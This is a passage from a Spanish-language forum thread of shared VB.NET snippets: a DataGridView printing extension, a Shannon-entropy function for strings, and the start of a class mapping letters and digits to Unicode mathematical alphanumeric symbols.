  87.        ''' If not provided, the default color is <see cref="Color.White"/>.
  88.        ''' </param>
  89.        '''
  90.        ''' <param name="headerForeColor">
  91.        ''' Optional. The text color of the header row.
  92.        ''' <para></para>
  93.        ''' If not provided, the default color is <see cref="Color.Black"/>.
  94.        ''' </param>
  95.        '''
  96.        ''' <param name="rowBackColor">
  97.        ''' Optional. The background color of the data rows.
  98.        ''' <para></para>
  99.        ''' If not provided, the default color is <see cref="Color.White"/>.
  100.        ''' </param>
  101.        '''
  102.        ''' <param name="rowForeColor">
  103.        ''' Optional. The text color of the data rows.
  104.        ''' <para></para>
  105.        ''' If not provided, the default color is <see cref="Color.Black"/>.
  106.        ''' </param>
  107.        '''
  108.        ''' <param name="rowBackColorAlternate">
  109.        ''' Optional. The background color of the alternate data rows.
  110.        ''' <para></para>
  111.        ''' If not provided, the default color is <see cref="Color.White"/>.
  112.        ''' </param>
  113.        '''
  114.        ''' <param name="rowForeColorAlternate">
  115.        ''' Optional.  text color of the alternate data rows.
  116.        ''' <para></para>
  117.        ''' If not provided, the default color is <see cref="Color.Black"/>.
  118.        ''' </param>
  119.        ''' ----------------------------------------------------------------------------------------------------
  120.        ''' <returns>
  121.        ''' A <see cref="PrintDocument"/> object for printing the contents of the source <see cref="DataGridView"/>.
  122.        ''' </returns>
  123.        ''' ----------------------------------------------------------------------------------------------------
  124.        <Extension>
  125.        <DebuggerStepThrough>
  126.        Public Function GetPrintDocument(dataGridView As DataGridView,
  127.                                         Optional title As String = Nothing,
  128.                                         Optional textFont As Font = Nothing,
  129.                                         Optional headerBackColor As Color = Nothing,
  130.                                         Optional headerForeColor As Color = Nothing,
  131.                                         Optional rowBackColor As Color = Nothing,
  132.                                         Optional rowForeColor As Color = Nothing,
  133.                                         Optional rowBackColorAlternate As Color = Nothing,
  134.                                         Optional rowForeColorAlternate As Color = Nothing) As PrintDocument
  135.  
  136.            If String.IsNullOrEmpty(title) Then
  137.                title = dataGridView.Name
  138.            End If
  139.  
  140.            If textFont Is Nothing Then
  141.                textFont = dataGridView.Font
  142.            End If
  143.  
  144.            If headerBackColor = Nothing Then
  145.                headerBackColor = Color.White
  146.            End If
  147.  
  148.            If headerForeColor = Nothing Then
  149.                headerForeColor = Color.Black
  150.            End If
  151.  
  152.            If rowBackColor = Nothing Then
  153.                rowBackColor = Color.White
  154.            End If
  155.  
  156.            If rowForeColor = Nothing Then
  157.                rowForeColor = Color.Black
  158.            End If
  159.  
  160.            If rowBackColorAlternate = Nothing Then
  161.                rowBackColorAlternate = Color.White
  162.            End If
  163.  
  164.            If rowForeColorAlternate = Nothing Then
  165.                rowForeColorAlternate = Color.Black
  166.            End If
  167.  
  168.            Dim currentPageIndex As Integer = 0
  169.            Dim printedRowsCount As Integer = 0
  170.  
  171.            Dim printDocument As New PrintDocument()
  172.            AddHandler printDocument.PrintPage,
  173.                Sub(sender, e)
  174.                    Dim printAreaHeight As Integer = e.MarginBounds.Height
  175.                    Dim printAreaWidth As Integer = e.MarginBounds.Width
  176.                    Dim printAreaLeft As Integer = e.MarginBounds.Left
  177.                    Dim printAreaTop As Integer = e.MarginBounds.Top
  178.                    Dim headerHeight As Integer = dataGridView.ColumnHeadersHeight
  179.                    Dim rowHeight As Integer = dataGridView.Rows(0).Height
  180.  
  181.                    Dim gridWidth As Integer = dataGridView.Columns.GetColumnsWidth(DataGridViewElementStates.Visible)
  182.                    Dim gridLeft As Integer = printAreaLeft + (printAreaWidth - gridWidth) \ 2
  183.  
  184.                    Dim titleSize As SizeF = e.Graphics.MeasureString(title, textFont)
  185.                    Dim titleLeft As Integer = gridLeft
  186.                    Dim titleTop As Integer = printAreaTop - CInt(titleSize.Height) - 20
  187.                    e.Graphics.DrawString(title, textFont, Brushes.Black, titleLeft, titleTop, New StringFormat() With {.Alignment = StringAlignment.Near})
  188.  
  189.                    Dim rowsPerPage As Integer = CInt(Math.Floor((printAreaHeight - headerHeight) / rowHeight))
  190.                    Dim rowIndex As Integer = printedRowsCount
  191.  
  192.                    Dim headerWidth As Integer = 0
  193.                    For Each column As DataGridViewColumn In dataGridView.Columns
  194.                        headerWidth += column.Width
  195.                    Next
  196.  
  197.                    Dim headerBounds As New Rectangle(gridLeft, printAreaTop + headerHeight, headerWidth, rowHeight)
  198.                    Using headerBackBrush As New SolidBrush(headerBackColor)
  199.                        e.Graphics.FillRectangle(headerBackBrush, headerBounds)
  200.  
  201.                        For Each column As DataGridViewColumn In dataGridView.Columns
  202.                            Dim cellBounds As New Rectangle(headerBounds.Left, headerBounds.Top, column.Width, headerBounds.Height)
  203.                            Using headerTextBrush As New SolidBrush(headerForeColor)
  204.                                e.Graphics.DrawString(column.HeaderText, textFont, headerTextBrush, cellBounds, New StringFormat() With {.Alignment = StringAlignment.Center})
  205.                            End Using
  206.                            headerBounds.X += column.Width
  207.                        Next
  208.                    End Using
  209.  
  210.                    While rowIndex < dataGridView.Rows.Count AndAlso rowIndex < printedRowsCount + rowsPerPage
  211.                        Dim row As DataGridViewRow = dataGridView.Rows(rowIndex)
  212.                        Dim cellIndex As Integer = 0
  213.  
  214.                        Dim currentRowBackColor As Color
  215.                        Dim currentRowForeColor As Color
  216.                        If rowIndex Mod 2 = 0 Then
  217.                            currentRowBackColor = rowBackColor
  218.                            currentRowForeColor = rowForeColor
  219.                        Else
  220.                            currentRowBackColor = rowBackColorAlternate
  221.                            currentRowForeColor = rowForeColorAlternate
  222.                        End If
  223.  
  224.                        While cellIndex < dataGridView.Columns.Count
  225.                            Dim cellBounds As New Rectangle(printAreaLeft + (gridLeft - dataGridView.Columns(cellIndex).Width), (printAreaTop + headerHeight + (rowIndex - printedRowsCount) * rowHeight) + headerBounds.Height * 2, dataGridView.Columns(cellIndex).Width, rowHeight)
  226.                            Using rowBackBrush As New SolidBrush(currentRowBackColor)
  227.                                e.Graphics.FillRectangle(rowBackBrush, cellBounds)
  228.                            End Using
  229.                            e.Graphics.DrawRectangle(Pens.LightGray, cellBounds)
  230.                            Using rowTextBrush As New SolidBrush(currentRowForeColor)
  231.                                e.Graphics.DrawString(row.Cells(cellIndex).FormattedValue.ToString(), textFont, rowTextBrush, cellBounds, New StringFormat())
  232.                            End Using
  233.                            printAreaLeft += dataGridView.Columns(cellIndex).Width
  234.                            cellIndex += 1
  235.                        End While
  236.  
  237.                        printAreaLeft = e.MarginBounds.Left
  238.                        rowIndex += 1
  239.                    End While
  240.  
  241.                    If rowIndex < dataGridView.Rows.Count Then
  242.                        printedRowsCount = rowIndex
  243.                        e.HasMorePages = True
  244.                    Else
  245.                        printedRowsCount = 0
  246.                        currentPageIndex = 0
  247.                        e.HasMorePages = False
  248.                    End If
  249.                End Sub
  250.  
  251.            Return printDocument
  252.  
  253.        End Function
  254.  
  255. #End Region
  256.  
  257.    End Module
  258.  
  259. End Namespace
  260.  
  261. #End Region
  262.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 08:57 am
Un código para calcular la entropía de un String, basado en la fórmula de Shannon: https://en.wikipedia.org/wiki/Entropy_(information_theory) (https://en.wikipedia.org/wiki/Entropy_(information_theory))

Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 11-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' CalculateStringEntropy(String) As Double
  11.  
  12. #End Region
  13.  
  14. #End Region
  15.  
  16. #Region " Option Statements "
  17.  
  18. Option Strict On
  19. Option Explicit On
  20. Option Infer Off
  21.  
  22. #End Region
  23.  
  24. #Region " Imports "
  25.  
  26. #End Region
  27.  
  28. #Region " String Util "
  29.  
  30. ' ReSharper disable once CheckNamespace
  31.  
  32. Namespace DevCase.Core.DataProcessing.Common
  33.  
  34.    Partial Public NotInheritable Class UtilString
  35.  
  36. #Region " Public Methods "
  37.  
  38.        ''' ----------------------------------------------------------------------------------------------------
  39.        ''' <summary>
  40.        ''' Calculates the entropy of a string based on the Shannon's entropy formula.
  41.        ''' <para></para>
  42.        ''' The entropy is a measure of the amount of uncertainty or randomness in a set of characters.
  43.        ''' </summary>
  44.        ''' ----------------------------------------------------------------------------------------------------
  45.        ''' <seealso href="https://en.wikipedia.org/wiki/Entropy_(information_theory)"/>
  46.        ''' ----------------------------------------------------------------------------------------------------
  47.        ''' <param name="str">
  48.        ''' The input string.
  49.        ''' </param>
  50.        ''' ----------------------------------------------------------------------------------------------------
  51.        ''' <returns>
  52.        ''' A number representing the entropy value of the input string.
  53.        ''' <para></para>
  54.        ''' A higher entropy value indicates that the text contains more randomness or unpredictability,
  55.        ''' while a lower entropy value indicates that the text is more structured or predictable.
  56.        ''' </returns>
  57.        ''' ----------------------------------------------------------------------------------------------------
  58.        ''' <remarks>
  59.        ''' To calculate the entropy of the given text, the algorithm first counts the frequency of each character in the text.
  60.        ''' It then uses these frequencies to calculate the probability of each character appearing in the text.
  61.        ''' Once the probability of each character is known, the algorithm applies Shannon's entropy formula,
  62.        ''' which looks like this: H = -&#931;p(x)log2p(x), where H is the entropy, p(x) is the probability that
  63.        ''' character x will appear in the text, and log2 is the base 2 logarithm.
  64.        ''' </remarks>
  65.        ''' ----------------------------------------------------------------------------------------------------
  66.        <DebuggerStepThrough>
  67.        Public Shared Function CalculateStringEntropy(str As String) As Double
  68.            Dim map As New Dictionary(Of Char, Integer)()
  69.            For Each c As Char In str
  70.                If Not map.ContainsKey(c) Then
  71.                    map.Add(c, 1)
  72.                Else
  73.                    map(c) += 1
  74.                End If
  75.            Next c
  76.  
  77.            Dim result As Double = 0.0
  78.            Dim len As Integer = str.Length
  79.            For Each item As KeyValuePair(Of Char, Integer) In map
  80.                Dim frequency As Double = item.Value / len
  81.                result -= frequency * (System.Math.Log(frequency) / System.Math.Log(2))
  82.            Next item
  83.  
  84.            Return result
  85.        End Function
  86.  
  87. #End Region
  88.  
  89.    End Class
  90.  
  91. End Namespace
  92.  
  93. #End Region
  94.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 09:03 am
Un código para convertir el texto de un String a sets de caracteres Unicode.

Nota: como resultará evidente, no es posible añadir soporte para los caracteres que carecen de un equivalente.

(https://i.imgur.com/KJeCIzk.png)

(https://i.imgur.com/8FSqNvh.png)

UnicodeCharacterMaps.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 11-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict Off
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Public Members Summary "
  15.  
  16. #Region " Properties "
  17.  
  18. ' MathematicalBold As Dictionary(Of Char, String)
  19. ' MathematicalBoldItalic As Dictionary(Of Char, String)
  20. ' MathematicalBoldScript As Dictionary(Of Char, String)
  21. ' MathematicalItalic As Dictionary(Of Char, String)
  22. ' MonoSpace As Dictionary(Of Char, String)
  23. ' SansSerif As Dictionary(Of Char, String)
  24. ' SansSerifBold As Dictionary(Of Char, String)
  25. ' SansSerifBoldItalic As Dictionary(Of Char, String)
  26. ' SansSerifItalic As Dictionary(Of Char, String)
  27.  
  28. #End Region
  29.  
  30. #End Region
  31.  
  32. #Region " Imports "
  33.  
  34. Imports System.Collections.Generic
  35.  
  36. #End Region
  37.  
  38. #Region " UnicodeCharacterMaps "
  39.  
  40. ' ReSharper disable once CheckNamespace
  41.  
  42. Namespace DevCase.Core.DataProcessing.Common
  43.  
  44.    ''' ----------------------------------------------------------------------------------------------------
  45.    ''' <summary>
  46.    ''' Provides access to predefined alphabetic and alphanumeric character maps for a range of Unicode character sets.
  47.    ''' </summary>
  48.    ''' ----------------------------------------------------------------------------------------------------
  49.    ''' <remarks>
  50.    ''' The Unicode character sets are standardized sets of characters that cover
  51.    ''' various scripts and symbols used in written languages worldwide.
  52.    ''' <para></para>
  53.    ''' Unicode provides a unique code point for each character, ensuring interoperability and
  54.    ''' compatibility across different platforms and systems.
  55.    ''' <para></para>
  56.    ''' The character sets defined in this class represent specific stylistic variations
  57.    ''' of alphabetic characters used in mathematics and typography.
  58.    ''' <para></para>
  59.    ''' These character sets are commonly used in scientific and mathematical contexts,
  60.    ''' as well as in typography and font design.
  61.    ''' <para></para>
  62.    ''' They allow for precise representation of stylized alphabetic characters
  63.    ''' in various mathematical equations, formulas, and text layouts.
  64.    ''' </remarks>
  65.    ''' ----------------------------------------------------------------------------------------------------
  66.    Public Class UnicodeCharacterMaps
  67.  
  68. #Region " Private Fields "
  69.  
  70.        ''' <summary>
  71.        ''' (Backing Field)
  72.        ''' <para></para>
  73.        ''' A dictionary where the keys are the alphabet letters from 'a' to 'Z' and numbers from '0' to '9',
  74.        ''' and the values are their corresponding symbols from the 'Mathematical Bold' character set
  75.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D400 to U+1D433).
  76.        ''' <para></para>
  77.        ''' e.g., dictionary key: 'A' gets value: '&#119808;', and dictionary key: 'a' gets value: '&#119834;'.
  78.        ''' </summary>
  79.        Private Shared _mathematicalBold As Dictionary(Of Char, String)
  80.  
  81.        ''' <summary>
  82.        ''' (Backing Field)
  83.        ''' <para></para>
  84.        ''' A dictionary where the keys are the alphabet letters from 'a' to 'Z',
  85.        ''' and the values are their corresponding symbols from the 'Mathematical Italic' character set
  86.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D434 to U+1D467).
  87.        ''' <para></para>
  88.        ''' e.g., dictionary key: 'A' gets value: '&#119860;', and dictionary key: 'a' gets value: '&#119886;'.
  89.        ''' </summary>
  90.        Private Shared _mathematicalItalic As Dictionary(Of Char, String)
  91.  
  92.        ''' <summary>
  93.        ''' (Backing Field)
  94.        ''' <para></para>
  95.        ''' A dictionary where the keys are the alphabet letters from 'a' to 'Z',
  96.        ''' and the values are their corresponding symbols from the 'Mathematical Bold Italic' character set
  97.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D468 to U+1D49B).
  98.        ''' <para></para>
  99.        ''' e.g., dictionary key: 'A' gets value: '&#119912;', and dictionary key: 'a' gets value: '&#119938;'.
  100.        ''' </summary>
  101.        Private Shared _mathematicalBoldItalic As Dictionary(Of Char, String)
  102.  
  103.        ''' <summary>
  104.        ''' (Backing Field)
  105.        ''' <para></para>
  106.        ''' A dictionary where the keys are the alphabet letters from 'a' to 'Z',
  107.        ''' and the values are their corresponding symbols from the 'Mathematical Bold Script' character set
  108.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D4D0 to U+1D503).
  109.        ''' <para></para>
  110.        ''' e.g., dictionary key: 'A' gets value: '&#120016;', and dictionary key: 'a' gets value: '&#120042;'.
  111.        ''' </summary>
  112.        Private Shared _mathematicalBoldScript As Dictionary(Of Char, String)
  113.  
  114.        ''' <summary>
  115.        ''' (Backing Field)
  116.        ''' <para></para>
  117.        ''' A dictionary where the keys are the alphabet letters from 'a' to 'Z' and numbers from '0' to '9',
  118.        ''' and the values are their corresponding symbols from the 'Sans-Serif' character set
  119.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D5A0 to U+1D5D3).
  120.        ''' <para></para>
  121.        ''' e.g., dictionary key: 'A' gets value: '&#120224;', and dictionary key: 'a' gets value: '&#120250;'.
  122.        ''' </summary>
  123.        Private Shared _sansSerif As Dictionary(Of Char, String)
  124.  
  125.        ''' <summary>
  126.        ''' (Backing Field)
  127.        ''' <para></para>
  128.        ''' A dictionary where the keys are the alphabet letters from 'a' to 'Z' and numbers from '0' to '9',
  129.        ''' and the values are their corresponding symbols from the 'Sans-Serif Bold' character set
  130.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D5D4 to U+1D607).
  131.        ''' <para></para>
  132.        ''' e.g., dictionary key: 'A' gets value: '&#120276;', and dictionary key: 'a' gets value: '&#120302;'.
  133.        ''' </summary>
  134.        Private Shared _sansSerifBold As Dictionary(Of Char, String)
  135.  
  136.        ''' <summary>
  137.        ''' (Backing Field)
  138.        ''' <para></para>
  139.        ''' A dictionary where the keys are the alphabet letters from 'a' to 'Z',
  140.        ''' and the values are their corresponding symbols from the 'Sans-Serif Italic' character set
  141.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D608 to U+1D63B).
  142.        ''' <para></para>
  143.        ''' e.g., dictionary key: 'A' gets value: '&#120328;', and dictionary key: 'a' gets value: '&#120354;'.
  144.        ''' </summary>
  145.        Private Shared _sansSerifItalic As Dictionary(Of Char, String)
  146.  
  147.        ''' <summary>
  148.        ''' (Backing Field)
  149.        ''' <para></para>
  150.        ''' A dictionary where the keys are the alphabet letters from 'a' to 'Z',
  151.        ''' and the values are their corresponding symbols from the 'Sans-Serif Bold Italic' character set
  152.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D63C to U+1D66F).
  153.        ''' <para></para>
  154.        ''' e.g., dictionary key: 'A' gets value: '&#120380;', and dictionary key: 'a' gets value: '&#120406;'.
  155.        ''' </summary>
  156.        Private Shared _sansSerifBoldItalic As Dictionary(Of Char, String)
  157.  
  158.        ''' <summary>
  159.        ''' (Backing Field)
  160.        ''' <para></para>
  161.        ''' A dictionary where the keys are the alphabet letters from 'a' to 'Z' and numbers from '0' to '9',
  162.        ''' and the values are their corresponding symbols from the 'Monospace' character set
  163.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D670 to U+1D6A3).
  164.        ''' <para></para>
  165.        ''' e.g., dictionary key: 'A' gets value: '&#120432;', and dictionary key: 'a' gets value: '&#120458;'.
  166.        ''' </summary>
  167.        Private Shared _monoSpace As Dictionary(Of Char, String)
  168.  
  169. #End Region
  170.  
  171. #Region " Properties "
  172.  
  173.        ''' ----------------------------------------------------------------------------------------------------
  174.        ''' <summary>
  175.        ''' Gets a dictionary where the keys are the alphabet letters from 'a' to 'Z' and numbers from '0' to '9',
  176.        ''' and the values are their corresponding symbols from the 'Mathematical Bold' character set
  177.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D400 to U+1D433).
  178.        ''' <para></para>
  179.        ''' e.g., dictionary key: 'A' gets value: '&#119808;', and dictionary key: 'a' gets value: '&#119834;'.
  180.        ''' </summary>
  181.        ''' ----------------------------------------------------------------------------------------------------
  182.        Public Shared ReadOnly Property MathematicalBold As Dictionary(Of Char, String)
  183.            Get
  184.                If UnicodeCharacterMaps._mathematicalBold Is Nothing Then
  185.                    UnicodeCharacterMaps._mathematicalBold = New Dictionary(Of Char, String)(EqualityComparer(Of Char).Default) From {
  186.                           {"A"c, "&#119808;"}, {"B"c, "&#119809;"}, {"C"c, "&#119810;"}, {"D"c, "&#119811;"}, {"E"c, "&#119812;"},
  187.                           {"F"c, "&#119813;"}, {"G"c, "&#119814;"}, {"H"c, "&#119815;"}, {"I"c, "&#119816;"}, {"J"c, "&#119817;"},
  188.                           {"K"c, "&#119818;"}, {"L"c, "&#119819;"}, {"M"c, "&#119820;"}, {"N"c, "&#119821;"}, {"O"c, "&#119822;"},
  189.                           {"P"c, "&#119823;"}, {"Q"c, "&#119824;"}, {"R"c, "&#119825;"}, {"S"c, "&#119826;"}, {"T"c, "&#119827;"},
  190.                           {"U"c, "&#119828;"}, {"V"c, "&#119829;"}, {"W"c, "&#119830;"}, {"X"c, "&#119831;"}, {"Y"c, "&#119832;"},
  191.                           {"Z"c, "&#119833;"},
  192.                           {"a"c, "&#119834;"}, {"b"c, "&#119835;"}, {"c"c, "&#119836;"}, {"d"c, "&#119837;"}, {"e"c, "&#119838;"},
  193.                           {"f"c, "&#119839;"}, {"g"c, "&#119840;"}, {"h"c, "&#119841;"}, {"i"c, "&#119842;"}, {"j"c, "&#119843;"},
  194.                           {"k"c, "&#119844;"}, {"l"c, "&#119845;"}, {"m"c, "&#119846;"}, {"n"c, "&#119847;"}, {"o"c, "&#119848;"},
  195.                           {"p"c, "&#119849;"}, {"q"c, "&#119850;"}, {"r"c, "&#119851;"}, {"s"c, "&#119852;"}, {"t"c, "&#119853;"},
  196.                           {"u"c, "&#119854;"}, {"v"c, "&#119855;"}, {"w"c, "&#119856;"}, {"x"c, "&#119857;"}, {"y"c, "&#119858;"},
  197.                           {"z"c, "&#119859;"},
  198.                           {"0"c, "&#120782;"}, {"1"c, "&#120783;"}, {"2"c, "&#120784;"}, {"3"c, "&#120785;"}, {"4"c, "&#120786;"},
  199.                           {"5"c, "&#120787;"}, {"6"c, "&#120788;"}, {"7"c, "&#120789;"}, {"8"c, "&#120790;"}, {"9"c, "&#120791;"}
  200.                       }
  201.                End If
  202.                Return UnicodeCharacterMaps._mathematicalBold
  203.            End Get
  204.        End Property
  205.  
  206.        ''' ----------------------------------------------------------------------------------------------------
  207.        ''' <summary>
  208.        ''' Gets a dictionary where the keys are the alphabet letters from 'a' to 'Z',
  209.        ''' and the values are their corresponding symbols from the 'Mathematical Italic' character set
  210.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D434 to U+1D467).
  211.        ''' <para></para>
  212.        ''' e.g., dictionary key: 'A' gets value: '&#119860;', and dictionary key: 'a' gets value: '&#119886;'.
  213.        ''' </summary>
  214.        ''' ----------------------------------------------------------------------------------------------------
  215.        Public Shared ReadOnly Property MathematicalItalic As Dictionary(Of Char, String)
  216.            Get
  217.                If UnicodeCharacterMaps._mathematicalItalic Is Nothing Then
  218.                    UnicodeCharacterMaps._mathematicalItalic = New Dictionary(Of Char, String)(EqualityComparer(Of Char).Default) From {
  219.                           {"A"c, "&#119860;"}, {"B"c, "&#119861;"}, {"C"c, "&#119862;"}, {"D"c, "&#119863;"}, {"E"c, "&#119864;"},
  220.                           {"F"c, "&#119865;"}, {"G"c, "&#119866;"}, {"H"c, "&#119867;"}, {"I"c, "&#119868;"}, {"J"c, "&#119869;"},
  221.                           {"K"c, "&#119870;"}, {"L"c, "&#119871;"}, {"M"c, "&#119872;"}, {"N"c, "&#119873;"}, {"O"c, "&#119874;"},
  222.                           {"P"c, "&#119875;"}, {"Q"c, "&#119876;"}, {"R"c, "&#119877;"}, {"S"c, "&#119878;"}, {"T"c, "&#119879;"},
  223.                           {"U"c, "&#119880;"}, {"V"c, "&#119881;"}, {"W"c, "&#119882;"}, {"X"c, "&#119883;"}, {"Y"c, "&#119884;"},
  224.                           {"Z"c, "&#119885;"},
  225.                           {"a"c, "&#119886;"}, {"b"c, "&#119887;"}, {"c"c, "&#119888;"}, {"d"c, "&#119889;"}, {"e"c, "&#119890;"},
  226.                           {"f"c, "&#119891;"}, {"g"c, "&#119892;"}, {"h"c, "&#120361;"}, {"i"c, "&#119894;"}, {"j"c, "&#119895;"},
  227.                           {"k"c, "&#119896;"}, {"l"c, "&#119897;"}, {"m"c, "&#119898;"}, {"n"c, "&#119899;"}, {"o"c, "&#119900;"},
  228.                           {"p"c, "&#119901;"}, {"q"c, "&#119902;"}, {"r"c, "&#119903;"}, {"s"c, "&#119904;"}, {"t"c, "&#119905;"},
  229.                           {"u"c, "&#119906;"}, {"v"c, "&#119907;"}, {"w"c, "&#119908;"}, {"x"c, "&#119909;"}, {"y"c, "&#119910;"},
  230.                           {"z"c, "&#119911;"}
  231.                       }
  232.                End If
  233.                Return UnicodeCharacterMaps._mathematicalItalic
  234.            End Get
  235.        End Property
  236.  
  237.        ''' ----------------------------------------------------------------------------------------------------
  238.        ''' <summary>
  239.        ''' Gets a dictionary where the keys are the alphabet letters from 'a' to 'Z',
  240.        ''' and the values are their corresponding symbols from the 'Mathematical Bold Italic' character set
  241.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D468 to U+1D49B).
  242.        ''' <para></para>
  243.        ''' e.g., dictionary key: 'A' gets value: '&#119912;', and dictionary key: 'a' gets value: '&#119938;'.
  244.        ''' </summary>
  245.        ''' ----------------------------------------------------------------------------------------------------
  246.        Public Shared ReadOnly Property MathematicalBoldItalic As Dictionary(Of Char, String)
  247.            Get
  248.                If UnicodeCharacterMaps._mathematicalBoldItalic Is Nothing Then
  249.                    UnicodeCharacterMaps._mathematicalBoldItalic = New Dictionary(Of Char, String)(EqualityComparer(Of Char).Default) From {
  250.                           {"A"c, "&#119912;"}, {"B"c, "&#119913;"}, {"C"c, "&#119914;"}, {"D"c, "&#119915;"}, {"E"c, "&#119916;"},
  251.                           {"F"c, "&#119917;"}, {"G"c, "&#119918;"}, {"H"c, "&#119919;"}, {"I"c, "&#119920;"}, {"J"c, "&#119921;"},
  252.                           {"K"c, "&#119922;"}, {"L"c, "&#119923;"}, {"M"c, "&#119924;"}, {"N"c, "&#119925;"}, {"O"c, "&#119926;"},
  253.                           {"P"c, "&#119927;"}, {"Q"c, "&#119928;"}, {"R"c, "&#119929;"}, {"S"c, "&#119930;"}, {"T"c, "&#119931;"},
  254.                           {"U"c, "&#119932;"}, {"V"c, "&#119933;"}, {"W"c, "&#119934;"}, {"X"c, "&#119935;"}, {"Y"c, "&#119936;"},
  255.                           {"Z"c, "&#119937;"},
  256.                           {"a"c, "&#119938;"}, {"b"c, "&#119939;"}, {"c"c, "&#119940;"}, {"d"c, "&#119941;"}, {"e"c, "&#119942;"},
  257.                           {"f"c, "&#119943;"}, {"g"c, "&#119944;"}, {"h"c, "&#119945;"}, {"i"c, "&#119946;"}, {"j"c, "&#119947;"},
  258.                           {"k"c, "&#119948;"}, {"l"c, "&#119949;"}, {"m"c, "&#119950;"}, {"n"c, "&#119951;"}, {"o"c, "&#119952;"},
  259.                           {"p"c, "&#119953;"}, {"q"c, "&#119954;"}, {"r"c, "&#119955;"}, {"s"c, "&#119956;"}, {"t"c, "&#119957;"},
  260.                           {"u"c, "&#119958;"}, {"v"c, "&#119959;"}, {"w"c, "&#119960;"}, {"x"c, "&#119961;"}, {"y"c, "&#119962;"},
  261.                           {"z"c, "&#119963;"}
  262.                       }
  263.                End If
  264.                Return UnicodeCharacterMaps._mathematicalBoldItalic
  265.            End Get
  266.        End Property
  267.  
  268.        ''' ----------------------------------------------------------------------------------------------------
  269.        ''' <summary>
  270.        ''' Gets a dictionary where the keys are the alphabet letters from 'a' to 'Z',
  271.        ''' and the values are their corresponding symbols from the 'Mathematical Bold Script' character set
  272.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D4D0 to U+1D503).
  273.        ''' <para></para>
  274.        ''' e.g., dictionary key: 'A' gets value: '&#120016;', and dictionary key: 'a' gets value: '&#120042;'.
  275.        ''' </summary>
  276.        ''' ----------------------------------------------------------------------------------------------------
  277.        Public Shared ReadOnly Property MathematicalBoldScript As Dictionary(Of Char, String)
  278.            Get
  279.                If UnicodeCharacterMaps._mathematicalBoldScript Is Nothing Then
  280.                    UnicodeCharacterMaps._mathematicalBoldScript = New Dictionary(Of Char, String)(EqualityComparer(Of Char).Default) From {
  281.                           {"A"c, "&#120016;"}, {"B"c, "&#120017;"}, {"C"c, "&#120018;"}, {"D"c, "&#120019;"}, {"E"c, "&#120020;"},
  282.                           {"F"c, "&#120021;"}, {"G"c, "&#120022;"}, {"H"c, "&#120023;"}, {"I"c, "&#120024;"}, {"J"c, "&#120025;"},
  283.                           {"K"c, "&#120026;"}, {"L"c, "&#120027;"}, {"M"c, "&#120028;"}, {"N"c, "&#120029;"}, {"O"c, "&#120030;"},
  284.                           {"P"c, "&#120031;"}, {"Q"c, "&#120032;"}, {"R"c, "&#120033;"}, {"S"c, "&#120034;"}, {"T"c, "&#120035;"},
  285.                           {"U"c, "&#120036;"}, {"V"c, "&#120037;"}, {"W"c, "&#120038;"}, {"X"c, "&#120039;"}, {"Y"c, "&#120040;"},
  286.                           {"Z"c, "&#120041;"},
  287.                           {"a"c, "&#120042;"}, {"b"c, "&#120043;"}, {"c"c, "&#120044;"}, {"d"c, "&#120045;"}, {"e"c, "&#120046;"},
  288.                           {"f"c, "&#120047;"}, {"g"c, "&#120048;"}, {"h"c, "&#120049;"}, {"i"c, "&#120050;"}, {"j"c, "&#120051;"},
  289.                           {"k"c, "&#120052;"}, {"l"c, "&#120053;"}, {"m"c, "&#120054;"}, {"n"c, "&#120055;"}, {"o"c, "&#120056;"},
  290.                           {"p"c, "&#120057;"}, {"q"c, "&#120058;"}, {"r"c, "&#120059;"}, {"s"c, "&#120060;"}, {"t"c, "&#120061;"},
  291.                           {"u"c, "&#120062;"}, {"v"c, "&#120063;"}, {"w"c, "&#120064;"}, {"x"c, "&#120065;"}, {"y"c, "&#120066;"},
  292.                           {"z"c, "&#120067;"}
  293.                       }
  294.                End If
  295.                Return UnicodeCharacterMaps._mathematicalBoldScript
  296.            End Get
  297.        End Property
  298.  
  299.        ''' ----------------------------------------------------------------------------------------------------
  300.        ''' <summary>
  301.        ''' Gets a dictionary where the keys are the alphabet letters from 'a' to 'Z' and numbers from '0' to '9',
  302.        ''' and the values are their corresponding symbols from the 'Sans-Serif' character set
  303.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D5A0 to U+1D5D3).
  304.        ''' <para></para>
  305.        ''' e.g., dictionary key: 'A' gets value: '&#120224;', and dictionary key: 'a' gets value: '&#120250;'.
  306.        ''' </summary>
  307.        ''' ----------------------------------------------------------------------------------------------------
  308.        Public Shared ReadOnly Property SansSerif As Dictionary(Of Char, String)
  309.            Get
  310.                If UnicodeCharacterMaps._sansSerif Is Nothing Then
  311.                    UnicodeCharacterMaps._sansSerif = New Dictionary(Of Char, String)(EqualityComparer(Of Char).Default) From {
  312.                           {"A"c, "&#120224;"}, {"B"c, "&#120225;"}, {"C"c, "&#120226;"}, {"D"c, "&#120227;"}, {"E"c, "&#120228;"},
